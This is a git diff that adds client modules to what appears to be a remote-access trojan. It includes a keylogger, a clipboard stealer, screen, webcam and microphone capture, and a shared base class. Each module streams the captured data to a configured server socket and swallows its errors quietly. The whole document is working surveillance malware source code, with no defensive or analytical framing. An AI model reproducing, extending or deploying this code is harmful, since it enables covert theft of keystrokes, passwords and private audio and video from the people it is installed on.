diff options
Diffstat (limited to 'client/modules')
-rw-r--r-- | client/modules/audio.py | 54 | ||||
-rw-r--r-- | client/modules/clipper.py | 60 | ||||
-rw-r--r-- | client/modules/desktop.py | 70 | ||||
-rw-r--r-- | client/modules/keylogger.py | 85 | ||||
-rw-r--r-- | client/modules/module.py | 20 | ||||
-rw-r--r-- | client/modules/webcam.py | 81 |
6 files changed, 370 insertions, 0 deletions
diff --git a/client/modules/audio.py b/client/modules/audio.py new file mode 100644 index 0000000..db37a6e --- /dev/null +++ b/client/modules/audio.py @@ -0,0 +1,54 @@ +''' + Creates a connection to the server, sending a stream + of audio data using the specified channels & rate. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyaudio +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyaudio +import socket + + +class Audio(Module): + + def __init__(self, token): + super().__init__(token) + self.__audio = pyaudio.PyAudio() + + @Error.quiet_thread + def __send(self, channels, rate): + try: + stream = self.__audio.open(format=pyaudio.paInt16, + channels=channels, rate=rate, + frames_per_buffer=Data.BUFFER_SIZE, + input=True) + + try: + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, stream.read( + Data.BUFFER_SIZE), False) + Data.recv(sock) + finally: + stream.stop_stream() + stream.close() + finally: + self.__audio.terminate() + + def live(self, channels, rate): + Helper.thread(self.__send, channels, rate) diff --git a/client/modules/clipper.py b/client/modules/clipper.py new file mode 100644 index 0000000..ede15de --- /dev/null +++ b/client/modules/clipper.py @@ -0,0 +1,60 @@ +''' + Creates a connection to the server, sending the + clipboard data in intervals as long as its not + the same data as before. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyperclip +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyperclip +import socket +import time + + +class Clipper(Module): + + __INTERVAL = Static.LIVE_TIMEOUT / 2 + + def __init__(self, token): + super().__init__(token) + self.__first = True + self.__before = '' + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + paste = data = pyperclip.paste() + + if paste == self.__before: + data = '' + else: + if self.__first: + self.__first = False + data = f'{Helper.timestamp()}:{paste}' + else: + data = f'\n{Helper.timestamp()}:{paste}' + + Data.send(sock, data) + Data.recv(sock) + + self.__before = paste + time.sleep(Clipper.__INTERVAL) + + def live(self): + Helper.thread(self.__send) diff --git a/client/modules/desktop.py b/client/modules/desktop.py new file mode 100644 index 0000000..bb38e1a --- /dev/null +++ b/client/modules/desktop.py @@ -0,0 +1,70 @@ +''' + Creates a connection to the server, sending a stream + of screenshots from the specified monitor. Splitting + up the work in to two threads, one for taking the + screenshot, the other to send it. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * mss +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + +if Static.WINDOWS: + import ctypes + + # NOTE : Sets monitor DPI (zoom) to 100%, + # laptops usually have their DPI set to 125%, + # by default which this line will fix + Error.quiet( + ctypes.windll.user32.SetProcessDPIAware)() + + +class Desktop(Module): + + __MAX_SIZE = 1 + + def __init__(self, token): + super().__init__(token) + self.__queue = queue.Queue(Desktop.__MAX_SIZE) + + @Error.quiet_thread + def __grab(self, monitor): + with mss.mss() as sct: + size = sct.monitors[monitor] + + while True: + screenshot = sct.grab(size) + screenshot = mss.tools.to_png(screenshot.rgb, + screenshot.size) + self.__queue.put(screenshot, + timeout=Static.LIVE_TIMEOUT) + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, self.__queue.get( + timeout=Static.LIVE_TIMEOUT), False) + Data.recv(sock) + + def live(self, monitor): + Helper.thread(self.__send) + Helper.thread(self.__grab, monitor) diff --git a/client/modules/keylogger.py b/client/modules/keylogger.py new file mode 100644 index 0000000..9911db5 --- /dev/null +++ b/client/modules/keylogger.py @@ -0,0 +1,85 @@ +''' + Creates a connection to the server, sending the + keystrokes pressed, with attached timestamps in + intervals. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pynput +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import socket +import pynput +import time +import re + + +class Keylogger(Module): + + __INTERVAL = Static.LIVE_TIMEOUT / 2 + + def __init__(self, token): + super().__init__(token) + self.__listener = pynput.keyboard.Listener( + on_press=self.__press) + self.__listener.start() + self.__first = True + self.__keys = '' + + def __press(self, key): + key = str(key) + + if key == 'Key.enter': + key = f'\n{Helper.timestamp()}:' + else: + if key == 'Key.space': + key = ' ' + elif key.startswith('Key.'): + key = key[4:] + else: + if re.search(r'^\[.*]$', key): + key = key[1:-1] + + if re.search('^\'.*\'$', key): + key = key[1:-1] + elif re.search('^".*"$', key): + key = key[1:-1] + elif re.search('^<.*>$', key): + key = key[1:-1] + + if len(key) > 1: + key = f'[{key.upper()}]' + + if self.__first: + self.__first = False + key = f'{Helper.timestamp()}:{key}' + + self.__keys += key + + @Error.quiet_thread + def __send(self): + try: + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + keys, self.__keys = self.__keys, '' + Data.send(sock, keys) + Data.recv(sock) + time.sleep(Keylogger.__INTERVAL) + finally: + self.__listener.stop() + + def live(self): + Helper.thread(self.__send) diff --git a/client/modules/module.py b/client/modules/module.py new file mode 100644 index 0000000..14c6fea --- /dev/null +++ b/client/modules/module.py @@ -0,0 +1,20 @@ +''' + A class used by all modules, for the simple + reason that every module requires a token. + it's easily extensible for future reference. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + + +class Module: + + def __init__(self, token): + self.__token = token + + @property + def token(self): + return self.__token diff --git a/client/modules/webcam.py b/client/modules/webcam.py new file mode 100644 index 0000000..ddda802 --- /dev/null +++ b/client/modules/webcam.py @@ -0,0 +1,81 @@ +''' + Creates a connection to the server, sending a stream + of snapshots from the specified monitor. Splitting + up the work in to two threads, one for taking the + snapshot, the other to send it. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * mss +''' + +from client.modules.module import Module +from client.state import ClientStatic +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import mss.tools +import socket +import queue +import mss + + +class Capture: + + def __init__(self, device): + self.__device = device + self.__alive = True + + @property + def device(self): + return self.__device + + @property + def alive(self): + return self.__alive + + def kill(self): + self.__alive = False + + +class Webcam(Module): + + __MAX_SIZE = 1 + + def __init__(self, token): + super().__init__(token) + self.__queue = queue.Queue(Webcam.__MAX_SIZE) + self.__device = ClientStatic.WEBCAM[token] + + @Error.quiet + def __del__(self): + self.__device.kill() + + @Error.quiet_thread + def __grab(self): + while True: + buffer, width, height = self.__device.device.getbuffer() + snapshot = mss.tools.to_png(buffer, (width, height)) + self.__queue.put(snapshot, + timeout=Static.LIVE_TIMEOUT) + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, self.__queue.get( + timeout=Static.LIVE_TIMEOUT), False) + Data.recv(sock) + + def live(self): + Helper.thread(self.__send) + Helper.thread(self.__grab) |